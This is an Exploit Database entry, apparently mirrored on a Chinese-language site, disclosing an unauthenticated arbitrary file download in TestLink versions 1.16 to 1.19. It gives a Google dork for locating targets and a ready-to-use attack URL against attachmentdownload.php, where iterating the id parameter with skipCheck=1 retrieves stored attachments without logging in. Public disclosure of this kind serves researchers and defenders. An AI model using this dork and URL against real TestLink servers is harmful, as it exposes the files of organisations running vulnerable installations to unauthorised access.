TestLink 1.19 – Arbitrary File Download (Unauthenticated)

• Exploit Database
• 118 阅读

• 作者： Gonzalo Villegas
  日期： 2021-12-09
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50578/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16

  # Exploit Title: TestLink 1.19 - Arbitrary File Download (Unauthenticated) # Google Dork: inurl:/testlink/ # Date: 07/12/2021 # Exploit Author: Gonzalo Villegas (Cl34r) # Exploit Author Homepage: https://nch.ninja # Vendor Homepage: https://testlink.org/ # Version:1.16 <= 1.19 # CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N   You can download files from "/lib/attachments/attachmentdownload.php", passing directly in URL the id of file listed on database, otherwise you can iterate the id parameter (from 1)   Vulnerable URL: "http://HOST/lib/attachments/attachmentdownload.php?id=ITERATE_THIS_ID&skipCheck=1"   for research notes: https://nch.ninja/blog/unauthorized-file-download-attached-files-testlink-116-119/